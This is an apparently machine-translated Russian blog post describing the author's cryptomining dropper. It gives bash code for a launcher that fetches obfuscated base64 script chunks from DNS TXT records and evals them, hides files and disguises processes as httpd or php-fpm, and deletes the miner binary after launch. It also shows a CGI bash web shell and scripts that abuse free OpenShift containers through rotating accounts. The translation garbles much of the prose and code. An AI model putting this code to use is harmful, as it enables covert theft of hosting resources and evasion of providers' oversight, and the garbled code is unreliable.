•  Untoreh-light

Хроники капельницы криптонот

... Как далеко вы готовы за ... гроши?

Предположим, вы хотите добыть криптовалюты на удаленном виртуальный аппаратное обеспечение. Вам нужно найти что-нибудь для меня. Удаленные серверы - значит, нет ASICS или алгоритмы проверки работы графического процессора, в основном только Дружественные к процессору монеты.

Программное обеспечение

Найдите и найдите шахтер , но это не очень приятно, вам нужно что-то, чем вы можете лучше управлять с пульта, поэтому вы найдете другой майнер . Вы также хотите доверенное лицо , потому что многие связи будут недолговечными, вы не хотите дос ваш майнинговый пул. Также туннель было бы здорово.

Дизайн

Некоторые ботнеты используют данные блокчейнов для поиска команд, кто-то также, кажется, есть проигранные ставки на этом больше не повторится ... в любом случае мы не настолько изощрены, мы обойдемся с некоторыми записями DNS, которые хранят скрипт, который извлекает полезную нагрузку, которая самораспаковывается во временном каталоге, выполняет и оставляет почти никаких следов его настройки. Вот небольшая блок-схема, на которой изображена структура

Пусковая установка

Смысл сценария запуска - быть доступным и легко обновляемым, чтобы он выдержал испытание временем. Обновление DNS записи просты, а DNS - это последнее, что отключается в сети ... потому что IP-адреса трудно запомнить ... так что, скорее всего, он будет доступен в большинстве случаев. Вы видите, когда мы получение сценария развертыванияна самом деле мы уже запускаем некоторую логику, это сценарий запуска, ему нужна возможность выполнять DNS-запросы для поиска наших записей, DNS может быть повсеместным, но копать землю не является.

Здесь возникает небольшая загадка, если нам нужно загрузить другой инструмент. чтобы загрузить другой скрипт, чтобы загрузить полезную нагрузку мы должны просто загрузить полезную нагрузку! В защиту ... выполнение этого скриптового танца добавляет к обфускации, позволяет сохранить только одну реализацию пусковой установки (ремонтопригодность, ура), в большинстве случаев не требуется ... поэтому мы также обслуживаем статически связанный dig исполняемый файл для выполнения DNS-запросов, полученных либо на собственном хостинге, либо на облачном хостинге (да, есть резервные варианты, например, 3 или 4, потому что облачные службы имеют очень минимальную свободную пропускную способность, а также требуют файлов cookie или токенов доступа ... они очень скриптовые недружелюбно, целенаправленно, конечно).

Что в записях днс? Мы используем текст записей в личном домене (здесь тоже есть запасные варианты). Почему именно TXT? именно они могут хранить наибольший объем данных ... обычно, поскольку это своего рода рекомендуемые в зависимости от вещи . Мы специально используем облачная вспышка для нашей возни с DNS, поскольку он бесплатный и практически единственный игрок в городе ( ну не совсем, но любые другие альтернативы бледнеют ). Бывает, что вы можете хранить несколько фрагментов данных на тем же запись ... это начинает сбивать с толку и мешать поиску некоторых спецификаций ... (касательная) Cloudflare привыкший разрешать прикованныйTXT-записи на общую сумму ~ 9 Кбайт, в документах теперь указано ~ 2 Кбайт, до изменения я использовал ~ 6 Кбайт, я думаю, и обслуживал скрипт без сжатия, после этого мне пришлось проредить скрипт и сжать его перед рукой (на самом деле я пытался использовать Freedns провайдера, меня забанили в течение одного дня, предположив, что у них есть строгая политика безжирных записей TXT), однако сжатие gzip, похоже, НЕ поддерживает конвейер и все еще вызывает проблемы, поэтому мне пришлось втиснуть скрипт без сжатия ( касательная к концу).

Как мы его храним? Записи TXT поддерживают только буквенно-цифровые строки, нет NUL , поэтому мы должны обернуть его в ненулевую кодировку, base64 удовлетворяет этому ограничению, и поскольку мы храним прикованный TXT, мы должны разбить вывод, поскольку мы используем материал оболочки, это делается через-w flag, на busybox такой флаг отсутствовал (или был включен) в более старых версиях, что раздражало, альтернативой является использование кодировщика, связанного с openssl,openssl enc -base64.

Теперь, когда мы знаем, как хранить наш сценарий развертывания, мы сохраняем его либо с помощью cf cli или вручную. Как мы это тянем? Мы упоминали, что нам нужен bindutils или наш собственныйdig ... после выбора конечной точки обслуживания мы хотим загрузить ее, обычно то, что доступно, wget или завиток , wget гораздо чаще предустановлен, однако busybox обеспечивает только поддержку tls с динамическими библиотеками, поэтому вы должны убедиться, что конечная точка обслуживает http или ваша утилитаwget из gnu-utils

# the wget command
wget -t 2 -T 10 -q -i- -O- > $filename <<< "$digurl"

Это значит попробовать-t2 время ожидания-T10 секунды быть-q тихое чтение из-i- стандартный ввод ($digurl ) и писать в-O- стандартный вывод ($filename). Эта команда на первый взгляд не показывает, что мы загружаем. Мы собираемся быть очень осторожными с другими командами оболочки по той же причине или придерживаться оболочки ( трепать ) встроенные, где это возможно. Также позаботьтесь о том, где вы загружаете свои исполняемые файлы, вы хотите убедиться, что вы можете их выполнить, поскольку некоторые точки монтирования, особенно в контейнерах иtmp путиnoexec . Теперь, когда у нас есть инструмент для запросов DNS, мы получаем наши записи.

dig txt ${record}.${zone} +short +tcp +timeout=3 +retries=0 $dnsserver

Флаги здесь говорят сами за себя,+short просто означает, что нас интересуют только сами данные, поэтому нам не нужно анализировать вывод. Важно указать DNS-сервер, например google (8.8.8.8 ) или облачная вспышка (1.1.1.1 ), потому что многие среды по умолчанию перенаправляют или проксируют DNS-запросы на свои DNS-серверы. После получения фрагментированного скрипта мы обрабатываем кавычки и пробелы, чтобы подготовить его к декодированию.

data=${data//\"}# remove quotes
data=${data// }# remove whitespacedeclare -a ar_data
for l in$data; do
    ar_data[${l:0:1}]=${l:1}# iterate over each line and remove the first charactherdone
data=${ar_data[@]}# join all the lines
data=${data// }# ensure joining didn't add whitespace# decode
launcher=$(echo"$launcher" | $b64 -d -w $chunksize)

Что, если теперь мы еще нет нашей пусковой установки? DNS беспорядочный, нам нужен запасной вариант, давайте настроим поддомен для непосредственной загрузки скрипта запуска. Прежде чем оценивать наш скрипт, мы хотим настроить его с некоторыми переменными, снова давайте использовать запись TXT для хранения списка переменных NAME = VALUE и его синтаксического анализа. Существует также резерв для переменных, cloudflare предлагает перенаправления на основе URL-адресов, эти перенаправления обслуживаются до пункт назначения, поэтому нам не нужна конечная точка, мы просто хотим настроить правила перенаправления на основе регулярных выражений на фиктивную конечную точку, нас интересуют параметры URL-адреса?NAME=VALUE&NAME2=VALUE2..., чтобы мы могли параметризовать нашу программу запуска, просто изменив URL-адрес перенаправления, всегда уделяя внимание цитированию и избеганию кодов

## m1 also important to stop wget
pl_vars=$(echo"$token_url" | wget -t 1 -T 3 -q -i- -S 2>&1 | grep -m1 'Location')
pl_vars=${pl_vars#*\/}
pl_vars=${pl_vars//\"&/\" }
pl_vars=${pl_vars//%3F/\?}

WGET-S печатает URL-адрес перенаправления, который нас интересует для анализа. Имея параметры и скрипт, мы оцениваем переменные, записывая их в файл.

eval"$pl_vars"echo"export \
$pl_vars \
$ENV_VARS \
">env.sh

Этот файл будет получен скриптом развертывания. Последняя часть сценария запуска - это актуальная батут , оцените сценарий в текущем процессе оболочки или, возможно, позвольте ему управлять tmux, если это возможно.

# printf preserves quoteseval"$(printf '%s' "$launcher")" &>/dev/null
# or tmuxecho"$launcher" > ".. "
tmux send-keys -t miner ". ./\".. \"" Enter

Сценарий запуска выгружается в файл с именем "..", это выглядит сбивающим с толку, поскольку его можно ошибочно принять за родитель каталог. И мы не включаем команду сеанса, поскольку она задерживается в команде процесса, вместо этого мы заранее запускаем сеанс tmux и отправляем исходную команду через интерфейс терминала tmux. В связи с этим иногда вызов исполняемого файла с./ сохраняет эти символы в команде, поэтому лучше добавить$PWD к тропе ..PATH=$PWD:$PATH.

Полезная нагрузка

Наш сценарий развертывания начинается с поискаenv.sh файл и сохраняя или настраивая переменные какSTARTING_* вары как

STARTING_PATH=${STARTING_PATH:-$PATH}
STARTING_PID=$BASHPID

Это позволяет нам убить и перезапустить запущенный экземпляр при сбросе окружения. Давайте переключимся в каталог tmp с возможностями exec

# out local subdirectory
pathname=$(printf".%-$((RANDOM%9+1))s"for ph in {/tmp,/dev/shm,/run,/var/tmp,/var/cache,~/.local,~/.cache,~/}; dorm -rf "$ph/$pathname" &&
        mkdir -p "$ph/$pathname" &&
        tmppath="$ph/$pathname" &&
        is_path_executable "$tmppath" &&
        export PATH="${ph}/$pathname:${PATH}" tmppath &&
        breakdone
[ -n "$tmppath" ] && cd"$tmppath"

Проверка, если в пределах контейнер также удобно, мы можем исследовать файловую систему на предмет подсказок

c=$(builtin compgen -G '/etc/cpa*')
d=$(builtin compgen -G '/dev/*')
s=$(builtin compgen -G '/sys/*')
p=$(builtin compgen -G '/proc/*')
jail=
if [ -n "$c" -o -z "$d" -o -z "$s" -o -z "$p" ]; then## we are in a jail
    jail=1
fi

Теперь пришло время загрузить нашу полезную нагрузку, мы выбрали поддержку как wget, так и curl, мы уже знаем, как использовать wget с осторожными флагами, для curl это немного другое. Нам нужно создать файл конфигурации и переопределитьCURL_HOME

echo"url = $uri
output = ${name}${format}
connect-timeout = 10
" > .curlrc
CURL_HOME=$PWD curl -sOL

Последний шаг - просто извлечь полезную нагрузку

type unzip &>/dev/null &&
    format=".zip" extract="unzip -q" ||
        format=".tar.gz" extract="tar xf"

Стоит упомянуть об использовании [CDN] для обслуживания полезной нагрузки. И здесь cloudflare спасает нас от расходов на полосу пропускания. Просто переименовав нашу сжатую полезную нагрузку в расширение файла поддерживается cloudflare ... он кэшируется. Cloudflare не проверяет заголовки того, что он обслуживает, возможно, потому, что делать это в таком масштабе просто непрактично.

Приключения по Башленду

Bash был выбран исходя из предположения, что он переносимый, не выглядит слишком неуместным и более распространен по сравнению с другими языками сценариев, такими как perl, ruby ​​или python. Правда в том, что автономный двоичный файл, написанный на golang или lua, был бы намного проще, с меньшим количеством ошибок и более простым в обслуживании, в основном bash был худшим вариантом, в мою защиту, к тому времени, когда я поцарапал так много зуда с помощью bash , было уже слишком поздно для переписывания, и это тоже становилось скучно.

Также была возможность использовать busybox с флагом времени компиляции для использования всех встроенных функций (например, grep и sed), однако использование встроенных команд таким образом не позволяет создавать задания (fork) и подвергает демон потенциальным взаимоблокировкам.

Здесь я опишу некоторые функции bash с полным списком. здесь

## echo a string long $1 of random lowercase charsrand_string() {
    local c=0
    while [ $c -lt $1 ]; doprintf"\x$(printf '%x' $((97+RANDOM%25)))"
        c=$((c+1))
    done
}

ИспользоватьRANDOM переменная, чтобы получить число от 97 до 122, соответствующее коду символа, printf должен быть встроенным, мы не хотим выполнять разветвление внутри цикла.

## make a new file descriptor named $1newfd() {
    eval"local fd=\${$1}"eval"exec $fd>&-" &>/dev/null
    local pp=".$(rand_string 8)"mkfifo$ppunset"$1"eval"exec {$1}<>$pp"# unlink the named piperm -f $pp
}

Используйте каналы для создания анонимных файловых дескрипторов, они не ведут себя точно так же, как файловые дескрипторы, но они достаточно хороши для МПК.

## https://unix.stackexchange.com/a/407383/163931fleep()
{
    # log "fleep: called by ${FUNCNAME[1]}"
    [ -n "${_snore_fd}" -a "$1" != 0 ] ||
        newfd _snore_fd
    # log "fleep: starting waiting with ${_snore_fd}"if ! command >&${_snore_fd}; then
        newfd _snore_fd
    firead -t ${1:-1} -u $_snore_fd# log "fleep: ended"
}

Спящий режим без разветвления, злоупотребляя функцией тайм-аута встроенной функции чтения, он использует специальный дескриптор файла, и мы должны убедиться, что он доступен, чтобы избежать завершения.

Есть такие функции, какget_pid_stats, usgmon_prc, proc_usg_u, cpumon, loadmon используются для мониторинга использования системы, все они используют Linux/proc файлы без таких инструментов, какps , так что никакого разветвления, все в чистом виде.

start_coproc() {
    localunsetwhile :; doif [ "$1" = exec ]; then
            coproc_name="$2"else
            coproc_name="$1"fiif [ -n "$UNSET_COPROC_VARS" ]; thenunset="unset $UNSET_COPROC_VARS;"filog"starting coproc $coproc_name"unset -v "$coproc_name"## only the variable, not functionseval"coproc $coproc_name { $unset $*; }"# 2>/dev/nullunset UNSET_COPROC_VARS
        wait_coproc "$coproc_name" 3 && breakdone
}
stop_coproc() {
    ## clear fds
    id_coproc "$1" && [ -n "$job_n" ] && eval"kill -${2:-9} %$job_n" ||
        { eval"kill -${2:-9} \${${1}_PID}"; } ||
        { log"could not kill the specified coprocess with job $job_n" && return 1; }
}

Сопроцессы доступны начиная с bashv4 , они похожи на задания, за исключением того, что у них есть имя и собственные файловые дескрипторы.

## clear file descriptorsclear_fds() {
    local fd
    for fd in $(compgen -G "/proc/$BASHPID/fd/*"); do
        fd=${fd/*\/}if [[ ! " $* " =~ " ${fd} " ]]; thencase"$fd"in
                    0|1|2|255|"$_snore_fd")
                    ;;
                    *)
                        eval"exec $fd>&-"
                        ;;
                esacfidone
}

Мы пишем демон, который является долгоживущим процессом, и мы используем много файловых дескрипторов, мы действительно хотим сделать некоторые чистки, чтобы избежать ulimits.

## queries ipinfo and gets the current ip and country/regionparse_ip ()
{
    export ip country region;
    [ ! -e cfg/geoip.json ] && log"geolocation codes file not found." && return 1;
    ipquery=$(http_req ipinfo.io);
    [ -z "$ipquery" ] && log"failed querying ipinfo" && return 1;
    before_after 'ip\": \"'"$ipquery"'\"';
    ip=$(echo$after);
    [ -z "$ip" ] && log"failed parsing ipinfo data ip" && return 1;
    before_after 'country\": \"'"$ipquery"'\"';
    country=$(echo${after,,});
    [ -z "$country" ] && log"failed parsing ipinfo data country" && return 1;
    whileread l; doif [ "${l}" != "${l/\": {}" ]; then
            before_after '"'"$l"'"';
            lastregion=$(echo$after);
        elseif [ "${l}" != "${l/\"${country}\"}" ]; then
                region=$lastregion;
                break;
            fi;
        fi;
    done < cfg/geoip.json
}

Эта функция полагается на ipinfo для определения региона воркера, что позволяет настроить логику, зависящую от региона, geoip.json группирует страны по регионам, так как нам нужен регион верхнего уровня, а не конкретная страна.

# try to open a connection to host $1 with port $2 and output to $3open_connection() {
    exec {socket}<>/dev/tcp/${1}/${2} 2>/dev/null
    echo$socket >&${3}
}

## check if a tcp connection to $1=$HOST $2=$PORT is successfulcheck_connection() {
    local host=$1 port=$2 conn_socket=
    [ -z "$host" ] && { echo'no host provided'; return 1; }
    [ -z "$port" ] && { echo'no port provided'; return 1; }
    newfd conn_socket
    timeout 3 open_connection $host$port$conn_socket# read the fd of the opened connection from the conn_socket fd and close it
    read_fd $conn_socket avl -
    if [ -n "$avl" ]; then# close connectioneval"exec ${avl}<&-" &>/dev/null
        return 0 ## connection can be establishedelsereturn 1 ## connection can't be establishedfi
}

Bash поддерживает TCP-соединения за счет абстракции над/dev/tcp (также для udp, но большинство из них обычно отключается во время сборки, поэтому на него нельзя полагаться). Эти файлы являются частью bash, они не являются частью Linux./dev дерево.

Также стоит упомянуть систему блокировки для обработки параллелизма между заданиями bash. Чтобы несколько заданий могли работать с блокировками, все они должны иметь общий файловый дескриптор, поэтому нашlocker который также является работой, должен быть запущен до того, как другие рабочие места захотят использовать блокировку. Шкафчик просто читаетstdin ожидание запросов на блокировку, ответ наstdout в зависимости от текущего логического состояния, хранящегося в переменной. Я не гарантирую, что этот подход свободен от гонок, но, похоже, работает прилично, с другой стороны, я обнаружил, что файловые дескрипторы не очень надежны, поскольку я подозреваю, что есть некоторые буферы, которые не сбрасываются где-то в трубы и, в конечном итоге, попадание в тупик (что означает, что вы не можете полагаться на шкафчик, который всегда будет вам отвечать).

## unset bash env apart excluded vars/funcsclear_env(){
    localfunctions=$(declare -F)
    functions=${functions//declare -f }for u in[email protected]; dofunctions=${functions/$u[[:space:]]}functions=${functions/[[:space:]]$u}functions=${functions/[[:space:]]$u[[:space:]]}donelocal vars=$(set -o posix; set | whileread l; doecho${l/=*}; done)
    for u in[email protected]; do
        vars=${vars/$u[[:space:]]}
        vars=${vars/[[:space]]$u}
        vars=${vars/[[:space:]]$u[[:space:]]}doneunset -f $functions &>/dev/null
    unset -v $vars &>/dev/null
    # unset $vars &>/dev/null
}

## unexport most variablesdex_env() {
    exported=$(export -p)
    whileread e; do
        n=${e/declare -*x }
        [ "$n" = "$e" ] && continue## multiline var
        n=${n/=*}case"$n"in"SHELL"|"USER"|"HOME"|"TMUX"|"CHARSET"|"TERM")
                continue
                ;;
            *)
                dexported="$dexported${n/=*}"esacdone <<<"$exported"export -n $dexported
}

Очистите свой мусор ... сложные программы на bash в конечном итоге используют множество переменных, и если вы злоупотребляете глобальным пространством, оно становится раздутым. Если вы создаете задания оболочки, они наследуют всю среду (которая фактически дублируется, а не разделяется), вы можете быстро закончить с потреблением bash.100M памяти, не приятно. Также мы очень хотим вести себя сдержанно. В нашем сценарии развертывания противник[1] потенциально может иметь root-доступ и полную информацию о наших процессах[2] , и вы знаете ... каждый процесс содержит информацию о полной команде, которая его запустила, и об экспортированных переменных среды.

Конфигурация

Когда у нас есть среда и наши инструменты, мы должны настроить наш майнер для машины, на которой он работает, шаги настройки в псевдокоде:

Выбор названия для процесса необходим для Спрятать тот факт, что мы запускаем майнер, но мы не просто переименовываем наш двоичный файл, у нас есть список маски для потенциальных кандидатов (простой текстовый файл, где каждая строка представляет собой маску):

Хешрейт

, со временем майнер получил много автоматическая настройка функции, поэтому он сделал часть моих сценариев избыточной, но разница между восходящим и нисходящим потоком здесь заключается в том, что цель восходящего потока состоит в том, чтобы максимизировать представление , а наша цель - максимизировать эффективность и запутывание , мы не хотим перегнать систему, мы хотим немного похитить без перебоев в обслуживании.[3]

Для этого нам нужно более детальное понимание окружающей среды,l2/l3 структура кеш-памяти процессора, оперативной памяти и ядер, а также текущий процессор в среднем нагрузка и процессор использование. Я попытался построить Государственный аппарат в bash, который начинался бы с самого минимума и пробовал разные конфигурации, медленно устанавливая средний лучший. Это был огромный пустая трата усилий, усеянная технический долг который очень быстро обанкротился и от него в основном отказались, оставив лишь остатки в кодовой базе.

Разбейте всю эту гигантскую автонастройку, мы просто заставили майнер спать в зависимости от использования / нагрузки хоста, для этого потребовались модификации майнера дляsleep между потоками и несколько исправлений сторожевого таймера конфигурации[4] , что позволит нам перезагрузить количество сна во время выполнения. Логика намного упрощена и выглядит так:

Связь

В нашем обзоре bash мы показали утилиты для подключения. Зачем они нужны? Потому что нам нужно разнообразие; просто жесткое кодирование конечной точки в конфигурации не продлится долго, когда что-то выглядит подозрительно и имеет сетевую активность, IP-адреса помечаются.

Вначале мы поэкспериментировали с парой методов:

В конце мы остановились на том, что просто отправили список конечных точек, хранящийся в переменных bash, и выбрали одну наугад. Соединения, конечно, были зашифрованы. Что это за конечные точки? Перенаправляет на прокси-сервер, который будет обрабатывать задания майнеров.

Зачем нам нужен прокси для майнинга ? Я никогда не проходил мимо ~ 100 одновременных подключений, поэтому прокси-сервер не был действительно необходим для загрузки сети, но он был удобен для согласования алгоритма хеширования и предоставления разных целей сложности для разных майнеров, чтобы майнеры не работали над трудность задачи, выполнение которых займет у них слишком много времени, и избежать риска потери вычислений на незавершенных работах.[5] Программное обеспечение пула также потребовало нескольких модификаций, поскольку оно, к счастью, рекламировало себя как прокси для простых HTTP-запросов ... это должно было быть превышено , а вилка добавила контроль доступа, поэтому мы основали наши моды на этом.[6]

Редактирование json

Применение модификаций к json-файлу с помощью только bash, мы обошлись с некоторой заменой env var и некоторым регулярным выражением. Изначально мы полагались наenvsubst двоичный файл для применения переменных, затем мы перешли на полную bash[7] с такой логикой:

Помимо исключения подпроцессов, еще одним преимуществом является то, что мы получаем полные возможности bash в наших шаблонах. Для чтения и записи без шаблонов мы должны полагаться на возможности регулярного выражения bash:

cc_rgx='( *".*?" *: *)("(.*?)"|([^,]*?)) *(,|.*?\/\/.*?|\n|$)'change_config() {
	local subs
	whileread l; doif [ "${l}" != "${l/\"*$1*\"*:/}" ]; then
			[[ "${l}" =~ $cc_rgx ]]
			matches=("${BASH_REMATCH[@]}")
			[ -n "${matches[3]}" -a "${2:0:1}" != "\"" ] &&
				subs="\"$2\"" ||
				subs="$2"
			CONFIG=${CONFIG/${matches[0]}/${matches[1]}$subs${matches[5]}}breakfidone <<<"$(printf '%s' "$CONFIG" 2>/dev/null)"
}

## output miner config value $1 unquoted
gc_rgx=' *"[^:]+" *: *("(.*?)"|([^,]*)) *(,|.*?\/\/.*?|\n|$)'get_config() {
	whileread l; doif [ "${l}" != "${l/\"*$1*\"*:/}" ]; then
			[[ "${l}" =~ $gc_rgx ]]
			[ -n "${BASH_REMATCH[2]}" ] &&
				printf'%s'"${BASH_REMATCH[2]}" ||
				printf'%s'"${BASH_REMATCH[3]}"breakfidone <<<"$(printf '%s' "$CONFIG" 2>/dev/null)"
}

Это позволяет нам редактировать только отдельные строки, для многострочных записей учитывается только первая строка .. но этого достаточно для нашего случая использования.

Время выполнения

Как выглядит наша среда выполнения? У нас есть основной процесс bash, который выполняет основной цикл, затем подпроцесс майнера, подпроцесс монитора процессора, шкафчик и тюнер. Это почти горстка.

Сначала мы хотим убедиться, что если что-то пойдет не так, мы не оставим беспорядка, это означает, что мы используем ловушку bash для выполнения очистки при завершении.

trap"trap - SIGINT EXIT SIGKILL SIGTERM; kill -9 \$(jobs -p); cleanup &>/dev/null ; fleep 10" SIGINT EXIT SIGKILL SIGTERM

trap - ... снимает ловушку, чтобы предотвратить рекурсию. Ловушка убивает все рабочие места и удаляет рабочую среду.

Пришло время запустить майнер, который хранится как переменная bash в кодировке base64. Мы сбрасываем его в файловую систему, затем сбрасываем конфигурацию, запускаем майнер и удаляем как майнер, так и конфигурацию. В Linux вы можете удалить исполняемый файл запущенного процесса (в Windows это запрещено).[8] Когда майнер запущен, в файловой системе есть только.. / каталог сb64 ссылка в нем.

## put a file $1 into a var $2fileToVar(){
    declare -n tmpd="$2" && tmpd=$(b64e "$1") && returnif [ -z "$tmpd" ]; thenlog"gobbling in array"eval"$2=1"## avoid empty checks
        gobbled[$2]=$(b64e "$1")
    elsereturn 1 ## do not quote assignment otherwise ram is not releasedfi
}
## put a var $1 into a file $2varToFile(){
    if [ -n "$VERBOSE" ]; thenifdeclare -n 2>>${VERBOSE} && eval"b64d <<<\"\$$1\" 1>\"$2\" 2>>${VERBOSE}"; thenreturnelse# log "dumping from array"eval"b64d <<<\"\${gobbled[$1]}\" 1>\"$2\" 2>>${VERBOSE}" && returnfireturn 1
    elseifdeclare -n && eval"b64d <<<\"\$$1\" >\"$2\""; thenreturnelse# log "dumping from array"eval"b64d <<<\"\${gobbled[$1]}\" >\"$2\"" && returnfireturn 1
    fi
}

Сводящая с ума причуда, встречающаяся с bash при кодировании майнера, заключается в том, что присвоение переменной подоболочки с кавычкамиmyvar="$(something)" вызывает постоянное увеличение использования памяти, это было трудно отладить, и на самом деле не удалось найти причину, по которой ведет себя так, в любом случае назначение должно быть без кавычек. Вместо этого декодирование выполняется с помощью струны что является абстракцией временных файлов, переменная выгружается в файл, который затем передается обратно в процесс.

Длительный цикл майнера:

Выходная строка сопоставляется с некоторым регулярным выражением:

act_rgx='(accepted|speed|paused|algo:|-> update config|-> publish config|-> trigger restart|\[CC\-Client\] error|Error: \"\[Connect\]|POOL #1:      \(null\))|not enough memory|self-test failed|read error|cpu  disabled'

Демон обрабатывает случаи, когда

Некоторое время существовала поддержка панели управления и контроля, которая позволяла запускать перезапуск вручную, однако, поскольку ее использование было минимальным, от нее отказались, а ее конечные точки были заменены на альтернативное соединение с пулом, а также процесс перезапуска был нестабильным и сложным. ... еще один пример технического долга. Однако он позволил повторно получить обновленную полезную нагрузку и перенастроить все конфигурации на лету, что было довольно круто, идеальный батут.

Отладка

Есть три основных утилиты

Целевые развертывания

Эта установка была протестирована на 3 типах хостов:

Самостоятельные контейнеры или виртуальные машины

Многие хостинг-провайдеры не любят майнинг, поскольку ресурсы ЦП, как правило, делятся между несколькими пользователями, а программное обеспечение для майнинга может легко замедлить работу хост-узла, влияя на производительность остальных пользователей. Это может быть справедливо, даже если время пользователя ЦП не ограничено, потому что алгоритмы хеширования могут насыщать все уровни кэширования ЦП, если кеш совместно используется всеми ядрами ЦП.

Мы хотели бы использовать наши справедливый разделение ресурсов без блокировки, это хороший вариант использования нашего стелс-дроппера, поскольку он осведомлен об использовании хоста, а это означает, что он должен оставайтесь в пределах [AUP]. При работе с самостоятельным развертыванием нет никаких дополнительных шагов, только сценарий запуска, который может быть добавлен в последовательность загрузки или запущен вручную.

веб-хостинг на основе cPanel

Планы подписки на веб-хостинг в основном предлагаются через [cPanel]. Здесь мы снова используем персональные планы подписки, которые имеют разумные ограничения ресурсов, с другой стороны, любой бесплатный план имеет смехотворные ограничения.[9] . cPanel позволяет вам определять обработчики для различных расширений файлов, это позволяет нам выполнять сценарии оболочки через cgi с http-запросом к сценарию оболочки, загруженному на сервер. Такого рода интерфейсы выглядят как веб-оболочки.[10] . Простая веб-оболочка bash

# without content encoding the request response won't be honoredecho -e 'Content-Type: text/plain\n'
SERVER_NAME=myserver
## parse vars (for interactive use)
saveIFS=$IFS
IFS='=&'
parm=($QUERY_STRING)
IFS=$saveIFSfor ((i=0; i<${#parm[@]}; i+=2))
dodeclare var_${parm[i]}=${parm[i+1]}done## exec command for interactive and proclimited scenarios
url_encoded="${var_path//+/ }"export PATH=".:$PATH"
. /dev/shm/srv/utils/load.env &>/dev/null

ifdeclare -f "${url_encoded/\%20*}" 1>/dev/null; then## don't use -n, redirect fd for bcompatprintf'%b'"${url_encoded//%/\\x}" > /tmp/${SERVER_NAME}.src
elseifbuiltin"${url_encoded/\%20*}"; thenprintf'%b'"${url_encoded//%/\\x}" > /tmp/${SERVER_NAME}.src
    elseprintf'exec %b'"${url_encoded//%/\\x}" > /tmp/${SERVER_NAME}.src
    fifi
. /tmp/${SERVER_NAME}.src

Лучше полагаться только на встроенные функции, поскольку создание дополнительных процессов может быть запрещено в веб-тюрьмах, но всегда можноexec что позволяет нам использовать большинство утилит командной строки. Большинство веб-оболочек написаны на других языках сценариев, таких как python или php, так как вам не нужно беспокоиться о разветвлении.

В среде cpanel лучше использовать статическое имя для процесса майнера, напримерhttpd илиphp-fpm потому чтоcgi основан на многопроцессорной обработке, поэтому серверы всегда заполнены многими процессами с такими именами, хотя внимательный наблюдатель должен заметить многопоточный шаблон использования, который определенно не является распространенным (или возможным) для таких языков, как perl, php, ruby ​​или python!

У процессов также есть ограничение по времени по умолчанию (1 час, 1 день и т. Д.), Для этого мы просто используем задание cron, которое перезапускает дроппер.

Это потребовало большого количества ручного редактирования, cpanel api для автоматизации этого, к сожалению, недоступно для конечных пользователей, поэтому веб-хостинг - неуклюжая и скучная цель для нашего дроппера майнера.

Веб-среды

Есть SaaS провайдеры, у которых есть веб-редактор вместе с контейнером, например Облако 9 , [codeanywhere], [codenvy]. Развернуть дроппер здесь легко (у вас есть полноценная среда), но поддерживать его работоспособность - обременительный процесс, поскольку любой интерактивный веб-редактор завершает свой сеанс вскоре после закрытия веб-страницы, и контейнер, следовательно, переводится в спящий режим (если вы не платить конечно).

Обход этого может означать только то, что мы должны держать сеансы открытыми, некоторые сценарии с [кукловодом] достигли желаемого результата, но длительная работа, утечка памяти, раздутые веб-страницы SPA определенно непривлекательны и не скрытны, потому что серверная часть поставщика сессия, открытая 24/7, обязательно будет выглядеть подозрительно. Действительно, веб-среды также являются неуклюжими и скучными целями.

Бесплатные сервисы приложений

Это в основном openshift[11] и [героку]. Openshift, будучи кубернетами, было довольно просто развернуть, но в нем много оттока конфигурации, вот отрывок:

export PATH=.:$PATH

[ -z "$OC_PRJ" ] && { echo"no account data provided"; exit 1; }
obfs=~/utils/deploy/obfs.sh
[ -x $obfs ] ||
    { echo"obfs utility not found!"; exit 1; }
launcher=~/launcher
[ -f $launcher ] ||
    { echo"launcher script not found!"; exit 1; }

ctroot=${CT_ROOT_DIR:-oc-ct-box-mine}## the service that starts the miner is named app in /etc/services.d in the rootfs
scriptpath="rootfs/etc/services.d/app/run"
TYPE=${HRK_TYPE:-worker}
IMG=$(oc-endpoint)/$OC_PRJ/$OC_APP
tspath=/tmp/oc-tmp-apprun
prepend="#!/usr/bin/with-contenv bash
"## beware the newline ^^^cd$ctroot || { echo"couldn't find ct build directory"; exit 1; }

VARS=$(cat vars) || { echo'vars file empty!'; }
VARS=${VARS//$'\n'/ }
VARS=${VARS//\\/\\\\}## preserve escapes
script=$(cat$launcher | tail +2 | sed -r '/^echo "export \\$/a '"$VARS"' \\')
cat <<< "$script" > $tspath$obfs$tspath
[ -z "${tspath}.obfs" ] && { echo"obfs file not found?"; exit 1; }
cat <<< "$prepend$(cat "${tspath}.obfs")" > $scriptpathexec itself (should eval)
chmod +x $scriptpath

docker build -t $IMG  . || exit 1
cd -
oc-push-image "$IMG"

Этот сценарий использовался для создания контейнера для майнинга, для которого требовался шаблон yaml:

apiVersion:build.openshift.io/v1kind:BuildConfigmetadata:labels:build:${OC_APP}name:${OC_APP}spec:activeDeadlineSeconds:5184000failedBuildsHistoryLimit:0successfulBuildsHistoryLimit:0resources:limits:cpu:2memory:1GirunPolicy:Serialsource:type:Binarystrategy:sourceStrategy:from:kind:ImageStreamTagname:${OC_APP}-build:latestnamespace:${OC_PRJ}type:Sourcetemplate:activeDeadlineSeconds:2400triggers:-generic:secretReference:name:${OC_APP}type:Generic

Но весь процесс включал в себя довольно много шагов!

## init
[ -z "$OC_APP" ] && export $(<$(tfi))
[ -z "$OC_APP" ] && { . ./choose-creds || exit 1; }
oc-login
oc new-project $OC_PRJ || { [ -z "$(oc get projects)" ] && exit 1; }
oc new-app $OC_APP --allow-missing-images || exit 1

## build box with docker and push# oc-docker-login || exit 1
oc-build-mine || exit 1

## create dc configexport OC_TEMPLATE_TYPE=mine
oc-box-template || exit 1
rtr=0
while [ $rtr -lt 10 ]; do
  oc rollout latest $OC_APP && break
  rtr=$((rtr+1))
  read -t 1
doneexit## builds
bash -x oc-build-build || exit 1
bash -x oc-build-template || exit 1
oc start-build $OC_APP || exit 1

accounts=${ACCOUNTS_DIR:-accounts_queue}mv$accounts/${OC_USR}{\.this,\.$(date +%s)}

В псевдокоде:

Вbuild-build сценарии вместо этого создали строить контейнер, который будет добывать по несколько часов за раз. Сборки и обычные поды имеют отдельные ресурсы в openshift, поэтому мы использовали их оба. Openshift был в целом плохим опытом, поскольку он прошел более 4 разных выпусков (может быть, больше, я перестал отслеживать через некоторое время), и каждый из них требовал изменений в конфигурациях, у них не было путей обновления, и все быстро повторялось, и это было обычным явлением. для сборок / подов, которые останавливались и не собирались мусором ... они обычно запускали ручной перезапуск время от времени, может быть, кубернетес просто глючил :)

